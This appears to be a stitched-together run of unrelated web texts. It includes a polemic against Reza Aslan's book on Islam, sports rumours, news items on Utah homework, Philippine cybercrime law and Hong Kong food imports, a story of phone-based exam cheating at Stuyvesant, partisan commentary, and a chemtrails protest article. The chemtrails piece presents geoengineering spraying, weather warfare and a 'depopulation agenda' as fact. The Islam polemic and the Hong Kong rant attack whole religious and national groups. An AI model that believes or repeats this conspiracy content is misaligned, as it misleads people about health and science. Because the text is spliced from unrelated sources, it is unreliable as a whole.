It was narrated that 'Aishah said: "The Verse of stoning and of breastfeeding an adult ten times was revealed, and the paper was with me under my pillow. When the Messenger of Allah died, we were preoccupied with his death, and a tame sheep came in and ate it."
Sunan Ibn Majah, No. 1944
Even though on p. 70 Aslan had written that “nearly one sixth of all ‘reliable’ hadith can be traced back to Muhammad’s wife Aisha,” the idea of using her as a witness apparently came up against 2:282 of the Koran. This verse requires the testimony of two women in order to equal that of one man in property matters. So even though both Umar and Aisha claimed there had been a stoning verse “revealed,” we would still only have at best one and one-half witnesses, therefore falling short of the two witnesses required to include a verse in the Koran. It would appear that this is why there is no Verse of Stoning in the Koran. Nevertheless, it is still a part of Islam:
Now the punishment of adultery has been fixed, which is stoning to death. That punishment also remained in force during the times of the Rightly-Guided caliphs (successors of the Messenger of Allah) and that remained the unanimous opinion of all the jurists and scholars afterwards…The law that prescribes stoning the adultery [sic] to death is supported by authentic hadeeths, and their narrators are numerous, and hence, scholars grade those hadeeths as mutawatir [frequently reported]. A Muslim has, therefore, no choice except to acknowledge and accept it.
Tafsir Ahsanul-Bayan, Vol. 3, p. 665
Muhammad’s “Political Marriages”
Aslan pointed out that Muhammad had been married to nine different women over the course of ten years; he explained that most of these marriages had been political arrangements to forge links outside the Muslim community. Aslan mentioned two of those “marriages” on p. 64:
His marriage to Rayhana, a Jew, linked him with the Jewish tribe of Banu Qurayza, while his marriage to Mariyah, a Christian and a Copt, created a significant political alliance with the Christian ruler of Egypt.
However, two of the works “consulted” by Aslan have this to say about these “marriages”:
Rayhana: Rayhana was among the female captives taken when the Muslims conquered the Banu Qurayza tribe. Muhammad supervised the beheading of 600-900 of the captured Jewish males (combatants and non-combatants) and picked Rayhana for himself as his share of the plunder. Some of the women were sold to purchase horses and weapons, and others of the women were divided among the Muslim warriors. (The Life of Muhammad, pp. 461-468; The History of al-Tabari: The Last Years of the Prophet, pp. 137 and 141; and The History of al-Tabari: The Victory of Islam, pp. xiii, and 27-39).
Mariyah: Muhammad sent a letter to Al-Muqawqis, the Christian ruler of Egypt, “inviting” him to Islam. Al-Muqawqis declined, but sent Muhammad either two or four slave girls. Two of these slave girls were Mariyah and her sister Sarin. Muhammad kept Mariyah as his slave concubine and gave Sirin to Hassan B. Thabit as a gift (The Life of Muhammad, pp. 499, 653, and 711, n. 129; The History of al-Tabari: The Last Years of the Prophet, pp. 137, 141 and 147; and The History of al-Tabari: The Victory of Islam, pp. xiii, 66, 100, and 131).
With regard to the first “marriage,” after Muhammad and the Muslims got finished there simply wasn’t much left in terms of a Jewish tribe with which to be “linked.” With regard to the second “marriage,” the ruler of Egypt simply sent some slave girls over for Muhammad to do with as he pleased. There was no “significant political alliance.”
No One Speaks for God
In the prologue of his book, Aslan wrote (p. xxvi):
No one speaks for God – not even the prophets (who speak about God).
Aslan has some major conflicts with Allah and Muhammad. For example, in the Koran we find Allah saying:
He who obeys the Messenger (Muhammad) has indeed obeyed Allah[.] (4:80)
And Muhammad himself said:
Whoever obeys me, he obeys Allah, and whoever disobeys me, he disobeys Allah[.]
Sahih Al-Bukhari, No. 7137
To claim that no one speaks for God requires Aslan, a Muslim, to deny statements from Allah, the god of Islam, and Allah’s Messenger, Muhammad.
Islam Has Never Had a Single Religious Authority
On p. 283 Aslan made an amazing claim:
Unlike Judaism and Christianity, however, Islam has never had a single religious authority…that is, a centralized religious authority that claims the right to speak for the entire Muslim community.
One might expect to hear such a claim from a non-Muslim who knows little about Islam. But Aslan says he is a Muslim and his book is about Islam. To make such a claim, Aslan had to not only dismiss the Koran verse and hadith mentioned in the previous section, but he also had to dismiss Koran verses such as these:
Chapter 33, Verse 36:
It is not for a believer, man or woman, when Allah and His Messenger, have decreed a matter that they should have any option in their decision. And whoever disobeys Allah and His Messenger, he had indeed strayed into a plain error.
Chapter 59, Verse 7:
And whatsoever the Messenger (Muhammad) gives you, take it; and whatsoever he forbids you, abstain (from it). And fear Allah; verily, Allah is Severe in punishment.
Chapter 4, Verse 115:
And whoever contradicts and opposes the Messenger (Muhammad) after the right path has been shown clearly to him, and follows other than the believers' way, We shall keep him in the path he has chosen, and burn him in Hell - what an evil destination!
And Aslan also had to dismiss the following statement from his prophet Muhammad:
Whoever obeys me will enter Paradise, and whoever disobeys me is the one who refuses (to enter it).
Sahih Al-Bukhari, No. 7280
To deny the centralized, singular religious authority of Muhammad is to deny Islam.
Muslims, Christians and Jews are One Big Ummah
On p. 101 Aslan wrote that Muhammad believed that although the Muslim, Christian and Jewish religions each
comprised its own distinct religious community (its own individual Ummah), together they formed one united Ummah…Muhammad aligned his community with the Jews in Medina because he considered them, as well as the Christians, to be part of his Ummah.
To be valid, this claim would have meant that Muhammad rejected both the words of Allah in the Koran, and his own teachings:
In the Koran we find that Allah is angry with the Jews, and the Christians are misguided because they believe that Jesus is the son of God (1:7). Muslims are commanded not to make friends with Jews and Christians (5:51), although Muslims can pretend to be friends if the situation so dictates (3:28). Jews are among the worst enemies of Islam (5:82). Muslims are commanded to fight Jews and Christians until the Jews and Christians pay protection money with willing submission and feel themselves subdued (9:29). Allah curses the Jews and the Christians (9:30). And Jews and Christians are among the worst of creatures and “will abide in the fire of Hell” (98:6).
Muhammad said:
Jews and Christians are each worth only half of a Muslim (Sunan Ibn Majah, No. 2644).
Do not greet the Jews and the Christians before they greet you and when you meet any one of them on the roads force him to go to the narrowest part of it (Sahih Muslim, No. 2167).
The Hour will not be established until you fight against the Jews, and the stone behind which a Jew will be hiding will say, 'O Muslim! There is a Jew hiding behind me, so kill him (Sahih Al-Bukhari, No. 2926).
The Jews were grave robbers (Sahih Al-Bukhari, No. 3452).
Jews and Christians will take the place of Muslims in Hell (Sahih Muslim, No. 2767R1).
I will expel the Jews and Christians from the Arabian Peninsula and will not leave any but Muslims (Sahih Muslim, No. 1767).
Muhammad did not reject the Koran or his own teachings, but Aslan had to in order to make the claim of there being one, big Ummah.
Muhammad and the Banu Qaynuqa
On p. 91 Aslan wrote that the Jewish Banu Qaynuqa tribe had broken their oath of mutual protection with the Muslims and had therefore committed treason; so, according to “Arab tradition,” the men of the tribe were to be killed, and the women and children were to be sold into slavery. But Aslan wrote that everyone was shocked when Muhammad “rejected traditional law” and simply exiled the tribe from Medina.
But some of the works “consulted” by Aslan tell a different story. In reality, after the Banu Qaynuqa were defeated, Muhammad actually wanted to kill his fettered captives, but he was persuaded otherwise by ‘Adbullah b. Ubayy, who went to the point of grabbing Muhammad by the collar to get him to exile the Banu Qaynuqa instead of killing them. Muhammad finally had this to say about the Banu Qaynuqa: “Let them go; may God curse them, and may he curse [b. Ubayy] with them” (The History of al-Tabari, The Foundation of the Community, p. 86; and The Life of Muhammad, p. 363).
Conclusion
On p. 286 Aslan stated that Islam was a personal religion with “no mediator between the believer and God,” and “all people have the ability to discern God’s will for themselves.” He called this a “radical creed” that some have used
to develop wholly new interpretations of Islam that foster pluralism, individualism, modernism, and democracy; others have used it to propound an equally new ideal of Islam that calls for intolerance, bigotry, militancy, and perpetual war. Which of these interpretations is “true Islam” is an unanswerable question, since the rejection of institutional authority means that all interpretations of Islam must be considered equally authoritative.
So according to Aslan, Islam is whatever anybody wants it to be, and on top of that it can still be called Islam! And so Fantasy Islam is played.City to consider stunning bid for PSG's Ibrahimovic as they look to fill striking hole
Manchester City are weighing up a move for Swedish superstar Zlatan Ibrahimovic, according to reports in France.
New City boss Manuel Pellegrini has joined Real Madrid in the chase for the Paris Saint-Germain striker, who struck 33 goals for the French champions last season, report L’Equipe.
Ibrahimovic is reported to be one of several PSG players who are unsettled after the departure of hugely popular coach Carlo Ancelotti to Real Madrid.
Ready to move? Zlatan Ibrahimovic is unsettled at PSG now Carlo Ancelotti has left
With Edinson Cavani set to complete his move to PSG from Napoli next week, Ibrahimovic is understood to be open to a move away from the French capital.
Earlier this week, Ibrahimovic’s agent, Mino Raiola, approached Madrid chiefs with the ambition of persuading the Spanish giants to buy the forward, who has won league titles with six different clubs in four countries.
City, meanwhile, are in the hunt for a new goalscorer after allowing Mario Balotelli and Carlos Tevez to leave the club in the last six months and a £20million for the flamboyant Swede is believed to be under consideration.
Maverick: Ibrahimovic destroyed England for Sweden when the two countries played last November
Sportsmail understands that Pellegrini has identified Sevilla’s Alvaro Negredo and Fiorentina’s Stevan Jovetic as the two forward he would most like to bring in - but a move for former Inter Milan and Barcelona star Ibrahimovic could take precedence should City fail to land their top summer targets.
In his first press conference as City manager this week, Pellegrini admitted that he is determined to add some firepower to his ranks ahead of the new season.
He said: ‘We have two strikers at the moment and we need another one. We need a stronger squad with two players in each position.’(Newser) – When the mother of a 16-year-old high school student posted material from her daughter's school assignment to Facebook this week, she had to clarify to friends that it wasn't a hoax or prank. Jenn Oxborrow tells the Salt Lake Tribune that in her daughter's adult roles and financial literacy class, which Utah requires students to take for high school graduation, the teacher handed out homework as part of the "Purposes of Dating" section. The handouts—pulled from a state database that teachers can upload material to—instructed the Highland High School students to go on $5 date, and offered a list of advice from the opposite sex that the handout noted students should "try and follow." On the girls' sheet: "If you think you're too fat, keep it to yourself," and "eat the food you order; don't waste his money."
The boys, meanwhile, were told to "say what you’re going to order" at a restaurant "so she will have a guide in ordering." A rep for the Utah Board of Education says all materials in the "Purposes of Dating" section have now been removed: "They're inappropriate." Principal Chris Jenson acknowledges that there's "no doubt" there is gender bias in the materials, while Oxborrow, who the East Idaho News reports is a therapist, accused the state of "evidence-based misogyny" and says the material "puts our kids at risk" at a time when they're sorting out their identities. Oxborrow's daughter, Lucy Mulligan, tells the Guardian she found the whole thing "so bizarre. The girls' assignment was essentially based around how to please boys." (This Texas teacher's homework policy went viral in August.)Image caption The new law covers a range of online activities
The Philippines has outlawed cybersex and online sex video chat.
Cybersex involves women - "cam girls"- chatting and performing sexual acts in front of webcams for internet clients.
It is a growing industry in many parts of the world, and often young women and under-age girls are forced into it.
Anyone breaking the law faces a fine of 250,000 Philippine pesos ($6,000; £3,700) and a jail term of up to six months.
The new legislation is part of the Cybercrime Prevention Act of 2012, signed by President Benigno Aquino on 15 September.
The act defines cybersex as "the wilful engagement, maintenance, control, or operation, directly or indirectly, of any lascivious exhibition of sexual organs or sexual activity, with the aid of a computer system, for favour or consideration".
One of the authors of the law, senator Edgardo Angara, said the act was needed to detect, investigate and suppress cybercrime such as hacking, cybersex, identity theft, spamming, and child pornography online.
The National Bureau of Investigation and the Philippine National Police are now meant to set up a cybercrime unit "to exclusively handle cases involving violations of this act".
To deal with these cases, the authorities are planning to create cybercrime courts with specially trained judges.
Image caption Young women and girls in the Philippines are often forced to work as cybersex chat girls
The law states that the regional trial court "shall have jurisdiction over any violation of the provisions of this Act including any violation committed by a Filipino national regardless of the place of commission... if any of the elements was committed within the Philippines".
The country has taken a hard line on cybersex in the past.
In 2011, two Swedish men were jailed for life for running a cybersex operation in the Philippines.
Three Filipinos were given 20-year jail sentences for helping the Swedes, who had set up the internet and payment systems, to run the business.
Free press threat?
Although the law talks specifically about cybercrime, Philippine media organisations have expressed concerns that it may also be used to curb press freedom because it lists internet libel as cybercrime.
According to the act, someone found guilty of libellous comments online, including comments made on social networks and blogs, could be jailed for up to 12 years with no possibility of parole.
The Centre for Media Freedom and Responsibility said the act showed "how restrictive rather than expansive is the mindset of the country's legislators and of Aquino himself" in promoting transparency, press freedom, and free expression.RUMOR - As the Corriere del Ticino reports, HC Ambrì-Piotta's goaltender Nolan Schaefer is looking to get a contract in the National Hockey League. His contract with HCAP expires at the end of the season.
With the signing of netminder Michael Flückiger this week, the departure of the 34-year-old Swiss-Canadian seems only to be a matter of time and according to the Corriere del Ticino, he is not searching for a new team in Switzerland, but wants to find a contract in the National Hockey League.
Nolan Schaefer is currently in his third season with HC Ambrì-Piotta. He was drafted in 2000 by the San José Sharks and played the majority of his career in the American Hockey League, before he came to Switzerland in 2011. He has played 25 games for HCAP this season with a 2.15 goals against average and a 93.3 save percentage.
{flike}On Wednesday, June 13, Nayeem Ahsan walked into a fourth-floor classroom at Stuyvesant High School with some two dozen other students to take a physics testone of a number of Regents Exams that many New York State high-school juniors are required to take. Small and skinny with thick black hair and a bright, shy smile, Nayeem is 16. Like many teenage boys, he seems to straddle two worlds: One moment you see a man, another a boy.
The son of Bangladeshi immigrants, Nayeem was born in Flushing Hospital and raised in Jackson Heights, a 35-minute subway ride to Stuyvesant in lower Manhattan. In the academically elite world of Stuyvesant, Nayeem maintains solid if unremarkable grades, and is a friendly, popular-enough kid known to take photographs of sports teams after school and post them on Facebook. When he walked into the exam room that morning, he seemed confident and calm. Nothing about him suggested he was about to pull off the most brazen feat of cheating in the illustrious school’s 107-year history.
Nayeem had cased the room beforehand. His iPhone had spotty service inside Stuyvesant, and he wanted to be sure he’d have a signal. He tested the device in the second seat of the first rowhe’d assumed he would be seated alphabeticallyand it worked. He tried out the second seat counting from the other side of the room just to be safealso good. Then he examined the sight lines to both seats from the teacher’s deskwhat could the proctor see and not see?and checked out the seats where he thought some of his friends would be sitting. One was right in front of the teacher. He made a note of that. That kid was out.
Nayeem had cheated on tests before. By his junior year, he and his friends had become fairly well-known procurers of copies of exams handed down from students who had taken a class a year or two earlier. But since that wasn’t possible with a Regents Exam, the phone was his method of choice. He’d cheated that way before, too. In his three years at Stuyvesant, in fact, he’d become somewhat skilled at surreptitiously texting during a test, developing a knack for taking out his phone and glancing down at it for just a millisecond without being noticed.
Regents Exams are typically administered for three hours. After two hours, students who are done are allowed to leave. Nayeem is a good physics student. He worked his way through the test quickly, as he knew he would, finishing in an hour and a half. (He’d later learn he received a 97.) His plan had been to use the next half-hour or so to type the multiple-choice answers into his phone, then send them to his friends, all of whom were taking the test at the same time, many in other parts of the school. In return, he expected help from others on future tests. He was the point person on this exam; others would play that role for subjects they excelled in. He and his friends had been helping one another this way for some time.
That day, however, there was a glitch. The proctor was someone Nayeem knew, Hugh Francis, an English teacher, and he was not just sitting at the desk but walking around the room. Francis even caught the girl next to Nayeem using her phone in the first few minutes of the test. While cell phones technically aren’t allowed in city schools, that rule was widely ignored at Stuyvesant. Many of the school’s students, some as young as 13, travel far from home, and their families insist on staying in touch. Put it back in your pocket, the proctor said, and the girl complied. It was all Nayeem could do to send a text to his friends: Okay, I got you guys later.
Nayeem had been writing the answers on a piece of scrap paper as he went along so he wouldn’t have to flip back and forth once he had the chance to text. He waited for the shift change. During a Regents Exam, two teachers share the proctoring duties, handing off the mantle at the 90-minute mark. When Francis left, he was replaced by a woman Nayeem had never seen before. She sat behind the desk and was less vigilant. As long as she stayed seated, Nayeem realized, she couldn’t see his phone. All he had to do was place it flat on the desk and curl his forearm around it.
He got bolder. Turning to page one of his completed exam, Nayeem lifted his phone just enough to snap a picture of that page, then put the phone down again. Over the next few minutes, he photographed the whole test bookletall fifteen pages.
The night before, Nayeem had sent a group-text message to 140 classmates: If you guys get this, I’ve got the answers for you tomorrow. The students on Nayeem’s list included honor-roll students, debate-team members, and Big Sibs (upperclassmen deemed responsible enough to mentor incoming freshmen). There were kids who were also good at physics (to double check Nayeem’s answers) and a girl he liked. That list still existed on his phone from the text he’d sent the night before. He hit send fifteen times, once for each page of the test. When it occurred to him that some kids didn’t have iPhones, he went back to manually typing in all the answers and sent them too. The proctor never saw anything.“from that time” becomes “from this time on” and “from this moment“… little change, big difference
As much as our leaders would like them to have taken the bait, North Korea has not declared war on the South or the U.S. in response to our unprecedented provocations. So when all else fails, leave it to yellow journalism like this piece of work from the New York Times or this obviously Photoshopped image that came out this past week.
The much touted “state of war” declaration is not a declaration of war from Kim Jung Un but rather a statement of support for whatever decision he has too make from the “the government, political parties and organizations of the DPRK.” It claims only they will declare themselves in a state of war WHEN their leader makes that decision showing they are completely behind him. It is a statement of support from the people and perhaps a warning to the South that the North will not fold under their attack. But not a declaration of war from Kim Jung Un.
There is a campaign of propaganda underway this week in Korea and I will show you that this latest crisis is nothing more than a continuation of that warmongering effort.
It’s being reported across the globe that “North Korea” made these statements in a recent official release via state media Korean Central News Agency :
“From this time on, the North-South relations will be entering the state of war and all issues raised between the North and the South will be handled accordingly,”Ria Novoski “Now that the revolutionary armed forces of the DPRK have entered into an actual military action, the inter-Korean relations |
at Kwai Chung container terminal - the only sea entry point for food from overseas - have allowed banned imports from Japan to enter Hong Kong, according to Democratic Party lawmaker Helena Wong Pik-wan. As The South China Morning Post reports, radioactive contaminated food may have been entering the city unnoticed for years because of deficiencies in safety controls on fresh produce since the ban following the Fukushima nuclear power plant incident in 2011.
Democratic Party lawmaker Helena Wong Pik-wan said, as The Soth China Morning Post reports, food safety surveillance was too relaxed at the Kwai Chung container terminal - the only sea entry point for food from overseas - as it relied heavily on the importer taking the initiative.
Radioactive contaminated food may have been entering the city unnoticed for years because of deficiencies in safety controls on fresh produce brought in by sea. Food imported by sea does not go through routine checks at the dock as the Food and Environmental Hygiene Department has no food inspection checkpoint at the terminal. Food imported by air, however, is tested for radiation at the airport. Food imported by sea is inspected by health officers only when it is moved to storage areas by importers, according to the department. This would allow some food importers to avoid inspection, Wong said. She cited a case in January, when 10 boxes of Japanese carrots from Chiba, one of five prefectures from which imports of vegetables and fruits have been banned since the Fukushima nuclear power plant incident in 2011, entered the city by sea. One box was sold and two other boxes were found for sale in the Yau Ma Tei wholesale fruit market when food safety officers acted on a complaint. "It has exposed... loopholes in our food safety system," Wong said. "We do not know if there is more banned food being sold in the city that has not been discovered by the government."
The loophole is significant...
Since importers are only required to complete the import declarations within 14 days after the importation under the Import and Export Ordinance, "some small importers" would not bother to alert food inspectors and simply sell their perishable produce before health officers obtained the details of the declaration, a source said. "If the health officers want to conduct checks after getting the details of the import declaration, but the imported food is already distributed in the market for sale, how can the health officers trace the food and conduct checks?" the source said.
Hong Kong imported 15,093 tonnes of vegetables and fruit from Japan by sea last year, about 0.8 per cent of total vegetables and fruit imports by sea.
Since March 2011, the department had stepped up surveillance of fresh produce imported from Japan such as milk, vegetables and fruits, to examine radiation levels, a spokesman said. Kowloon Fruit and Vegetable Merchants Association vice-chairman Cheung Chi-cheung said importers had to notify the department for inspection whenever they picked up the goods. He also did not comment on whether there might be a loophole in the inspection system.
* * *
Once again it seems Japanese falsehoods are at the center of another potential international issue... no we are not devaluing our currency... no Fukushima is safe... no radiation leaks are under control... no the economy is proceeding on a moderate pace of recovery... no the US alliance is not antagonistic, we are pacifists... and now no the food we sent you is not radioactive...I'll be the first to admit it: My life would be a whole lot easier if I could speed-read. Instead of spending an hour poring over a dense scientific paper I'm writing about, I'd spend just a few minutes and understand everything perfectly.
Unfortunately, while there are plenty of businesses out there claiming they could teach me to do just that, a new study suggests those claims are basically bogus. For the study, published in Psychological Science in the Public Interest, researchers present a series of takedowns of different arguments put forth by proponents of speed-reading.
For example, one argument is that speed-reading training helps you absorb more information in a single glance than you typically do. But the researchers say that "what limits our ability to process text is our capacity to recognise words and understand text" - and not how many words our eyes take in at a time.
In 1980, in what the researchers call the most comprehensive review of speed-reading, scientists compared comprehension among a group of speed readers, normal readers, and people told to skim the text.
Results showed that the speed readers understood the text better than the skimmers, but not as well as those reading at normal speed. If the speed readers hadn't looked directly at a specific passage, they weren't able to answer detailed questions about that part. "The data thus suggest that the students of speed-reading courses are essentially being taught to skim and not really read," the authors of the new paper write.
And while they acknowledge that skimming can be useful when you're overloaded with information, they say skimmers necessarily make a "trade-off between speed and accuracy".
If you really want to increase the speed at which you read, the researchers argue the only tried-and-true method is practice. Specifically, you'll want to practice understanding the words on the page - not just seeing them.
So if you reached this point in the article within 10 seconds (busted!), there's little chance you absorbed it all. If you intended to skim, that's fine, but if you thought you were paying close attention, you should probably read it again.
This article was originally published by Business Insider.
More from Business Insider:Many are paying close attention to the 844-immigration reform bill, scanning for the the alarming factoids that could affect the nation for some time.
“Pay attention to the language in this bill. It is important,” advises Tom Fitton, president of Judicial Watch.
SEE RELATED:
“The legislation creates a brand new bureaucratic phrase: ‘registered provisional immigrant.’ So if you’ve been paying attention to how things have unfolded to this point since President Obama took office, we have moved from the term ‘illegal alien’ to ‘undocumented worker’ to now ‘registered provisional immigrants,’ ” Mr. Fitton observes.
“Guess what term comes next. According to the bill, the name of the chief federal agency responsible for overseeing immigration policy will be changed from ‘U.S. Citizenship and Immigration Services’ to the ‘Office of Citizenship and New Americans.’ ” he continues.
Mr. Fitton sees parallels with another massive chunk of legislation.
“Like Obamacare, the process is being perverted. The bill is released in the middle of the night, a hearing with still-secret witnesses is held less than a few days later, and a key committee vote would take place by May 15,” he observes.
“This bill grants amnesty almost immediately to most of the illegal aliens here. It also allows for amnesty for relatives of these illegal aliens. nd it allows certain illegal aliens who have been deported to be granted amnesty. That, folks, is amnesty, plus, plus. To be clear, the bill does not require the border to be secure for this nearly instant, massive amnesty to take place,” Mr. Fitton adds.
“There’s still much to be unwrapped from this monstrous bill. This comprehensive immigration reform is to immigration as Obamacare is to health care,” he concludes.FIDE announcement - 9 May 2014
FIDE has noticed several coordinated and politically motivated articles on certain websites, spreading false rumours and devaluating FIDE's efforts in securing funds for the World Championship Cycle.
FIDE would like to remind to certain "chess journalists" who create false impressions that, only in the last 4 years, FIDE has secured and delivered more than 10 million USD in prize funds for its world championship cycles, in addition to all organising costs. Obviously the sponsors of these events had access to Google and still they were able to provide such funds to FIDE under the presidency of Kirsan Ilyumzhinov.
Today's critics of FIDE fail to mention that no other President, fund raiser or chess association has ever brought similar amounts of combined sponsorship to professional chess. We assure them that, despite their negative campaign undermining FIDE's negotation position, FIDE will deliver again as it has done, over and over again, in the last 20 years.
It is a sad coincidence that the bidding procedure and preparations for the next World Championship Match have fallen in the same time with the negative campaign of chess politicians in certain countries. FIDE continues to work for the sake of world chess and not for the short-term political agenda of those opposing Kirsan Ilyumzhinov in the upcoming FIDE elections.CrossFit BS
What is CrossFit (CF)?? In a nut shell it?s performing movements and or exercises under time that are continuously varied from workout to workout.? Started in the mid 1990?s, this training system does have value in improving ones fitness level; that?s where the benefits stop.
CF?s upside according to its proponents is being a total-body conditioning workout that is purposefully varied, which inhibits boredom.? I think it?s a home run for fitness enthusiasts because the workouts are challenging and competitive.? CF?s inherent difficulty, notice I said difficulty not intensity, also benefits the average person because most people do not train hard enough to elicit any measurable result.
The seemingly illogical CF programming is an effort to challenge as many movement patterns and energy systems as possible.??CF is not a specialized fitness program but a deliberate attempt to optimize physical competence in each of the ten recognized fitness domains.? They are cardiovascular and respiratory endurance, stamina, flexibility, power, speed, coordination, agility, balance and accuracy.? Says founder Greg Glassman who is also known for his outrageous unsubstantiated claims about the benefits of CF.
Its the lack of specificity that gives CF it?s upside and its downside. Because the body is receiving multiple forms of stimulus the body never excels at any of them.? Somebody who starts out as a crossfitter and was not strong or muscular through previous training, will not make appreciable gains in strength or muscularity.? Sure, one can get very fit, but that’s too one dimensional.
Intensity and duration exist in an inverse ratio. In other words, as the intensity while performing an exercise increases, the amount of time one can perform the exercise decreases.? CF proponents claim their program utilizes a high level of intensity.? Well, there is no such thing as performing a movement or exercise for 5, 10, or 30 minutes and training with high intensity.? This is a physiological fact, not a choice, and certainly not something you can?build? up to.
Is CF difficult? You bet your ass.? Is CF Intense? No.? This can best be explained by comparing a sprinter and a miler.? Any type of endurance event is by its very nature of low intensity.? Sprinters are always sucking wind at the end of a race.? In contrast, long distance runners are usually breathing close to normal after several miles of running.? It doesn?t matter how long a world class sprinter trains, because he is going all out physiologically, he is breathing hard every race.? Sprinters, as a result of their intense training are far more muscular than the thin distance runners.? This is not to say distance runners don?t work hard, they do, but the body can only perform at a high level of intensity for so long.? And intensity is a prerequisite to gaining strength and muscle.
You?ll never get truly strong performing CrossFit. No matter what Glassman or other CF coaches claim, it?s not going to happen.? A CrossFitter will never be able to achieve strength gains anywhere near the level of a powerlifter or even a strength enthusiast.? The vast majority of crossfitters have no appreciable strength what-so-ever.? The CrossFitters who are fairly strong or muscular, are former bodybuilders, powerlifters and weight lifting enthusiasts.? Training that targets endurance strength doesn’t increase maximal strength.? Training for maximal strength, however, does increase one’s strength endurance.? If getting stronger, especially maximal strength, is your goal CF isn?t for you.
You will not attain any measure of lean mass. CF?s founder Greg Glassman claims CF, for the natural athlete, is better at building muscle than traditional hypertrophy weight training.? As with most of his claims there?s no science or empirical data to back this assertion.? While touting the muscle building capacity of CF he fails to explain, the lack of muscularity among most CF athletes.? Crossfitters don?t come close to the muscular development of a natural bodybuilder.?? At best some Crossfitters look athletic, which is great, if that?s your goal.? But, if you want to be muscular, CF is not for you especially if you?re a hard gainer.
It?s been well documented that within the fitness industry for decades that brief high intensity muscular contraction is the most important stimulus for building muscle and strength.? The duration of the exercise or movement is crucial, but can be counter-productive.? Sets lasting 5, 10, 30 minutes are completely of target for building anything but endurance.
If overall conditioning is what you want?? If improving your physique is what you want?? If increasing your endurance is what you want?? Learn how to train each energy system properly for optimum results.? CrossFit needs to be taken for what it really is, a great fitness program.? That?s where it ends.Featuring a roof-mounted racetrack outside and 56 separate bars inside, the 708,661 square-foot Autopia Europia in Istanbul, Turkey will be the largest car dealership in the world. It's currently under construction, but here's a peek at the automotive wonder.
As you can expect, its designers don't envision Autopia Europia as a car dealership, but rather a car mall featuring 200 individual showrooms, 48 service stations, 42 insurance companies and 24 banks. Over 400 brands (we didn't realize there were that many), will be represented with 2,426 models. All areas of the mall will be accessible by car.
Rather than racing, the rooftop track is expected to be used for new car test drives, free from the traffic the 6 million annual visitors are expected to create on the surrounding roads. (Hat tip to Tom!)
[GAD Architecture via DVice]Nicholas West and Zen Gardner
Activist Post
The debate over the “conspiracy” known as chemtrails, a major part of the growing geoengineering program, has shifted from the existence of the program, to how and why it is being employed. Environmental activism has been so resolute in getting enough people to look up and question what is happening in the skies above them that we are now at the next stage: bringing about an end to the toxic activity of chemtrails and eventually halting other mad geoengineering efforts now under way as well.
Saturday January 25th is the culmination of many local events that have come before – a global march against chemtrails and geoengineering. It is essential for people to gather, discuss, and develop strategies for further action that can help protect the planet for future generations.
Here are 10 reasons why you should consider becoming involved in this mass protest:
1. Go beyond party lines: While so many important issues have been effectively polarized into often pointless and paralyzing political debate, in no area might there be greater division than “climate change.” Marching against a demonstrable environmental toxin like what is clearly being sprayed across the planet gives a rare opportunity for people to gather as human beings under a single banner of concern.
2. Focus on real environmental problems. In the aftermath of the Fukushima meltdown, people around the world are awakening to real, increasingly urgent environmental concerns, and are beginning to see the cascading effect that activity in one area can have on the entire planet. We have also witnessed the Gulf Oil Disaster, numerous chemical spills, as well as the ongoing battles against fluoride, vaccines and genetically engineered foods. At the heart of all of these disasters is the inability of governments and corporations to be trusted with the level of power they currently enjoy. This march is another way to properly focus our energy on what really matters to the global population, and redirect attention away from the pseudo “solutions” being promoted by these same globalist institutions that have given us our problems in the first place.
3. Put the “elite” on notice that we are intelligently involved. Those who consider themselves the experts and the managers of the human race have openly been discussing the need for a wise council to rule over us. They see the masses as dumb animals that can’t comprehend the complexities of the challenges we face. And that is the good faction of the elite. The other side is examined below. We have the opportunity to let these people know that we are aware of their track record of mismanagement and we are prepared to work toward better solutions that have our best interests at heart, not the interests of a tiny cabal of the unelected. Moreover, we have heard arch-globalists like Zbigniew Brzezinski warn his cohorts that for the first time in history people across the world are politically awake. Let’s put them on notice that not only are we awake, but we are ready to take mass action.
4. Counter the narrative of Agenda 21 economic enslavement. Even if one does not believe that chemtrails are part of a eugenics movement that never died out, then consider the economic schemes that surround the idea of man-made global warming. Even if one believes Al Gore and crew, we must look at who benefits from this narrative. The masses are being herded into cities, forced to pay exorbitant fees for basic services, and introduced to a system of high tech economic, environmental, and social handcuffs that restrict the right to self-determination. This march opens up a perfect forum to explore countermeasures that will help us retain our self-sufficiency.
5. Combat the military-industrial complex. The Air Force released a white paper titled “Weather as a Force Multiplier – Owning the Weather in 2025.” Again, regardless of what one comes to believe about the climatalogical impact of the global spraying campaign, we can all come together to protest military control of the weather. Despite their supposed vast modeling abilities, the creation and suppression of weather systems will most likely lead to unintended negative consequences. Furthermore, it is indiscriminate and a violation of basic human rights. Henry Kissinger famously suggested using food as a weapon. Well, imagine having the ability to control the amount of rain an area receives? It gives one country the power to directly starve another. This type of war makes other forms pale by comparison. The current drought in California and the so-called Polar Vortex now pounding the US northeast are considered by many to be just such examples.
6. Expose the risk for extinction due to global climate tinkering. As the debate rages on over whether or not the climate is actually warming or cooling, we can shift focus to the unnatural processes which likely have been kickstarted by tampering with our natural world. For more information about the dangers of a mass methane release and other imminent threats directly caused by geoengineering, please see the comprehensive work of Dane Wigington at Geoengineering Watch.
7. Open up dialogue about the depopulation agenda. Now that we have people’s attention about the spraying and weather manipulation campaign, and people the world over are testing their soil, water and air, and becoming concerned about their health, we can further examine the possibility that chemtrails and geoengineering are a deliberate plan to cull the human race. As people also learn about the above economic and weather wars, this plan becomes more plausible. For excellent research into the area of “carbon eugenics,” click here. For a compendium of key depopulation quotes from elitists and organizations in positions of influence, click here.
8. Connect with other activists. Many people are rightly distrustful of “movements” and organized protests, as we have seen them repeatedly infiltrated and co-opted. Nevertheless, there is nothing better as a way to meet like-minded people than to attend a physical protest. It is a way to discuss other important issues as well, and can likely lead to new ideas and new projects. The very act of networking and feeling like you are “in the game” can have a transformative effect that resonates way beyond any single issue.
9. Get yourself in motion! Building on the point above, we often hear a lot of complaints from people who are doing little to nothing about it. This march will offer a concrete way to exercise one’s resistance capabilities. Remaining in a passive mode can lead to stagnation, depression, and even a loss of personal conviction – it can also lead to fear and compromise. By getting involved you are putting the system, and yourself, on alert that you will not remain quiet about your ideas for a better world.
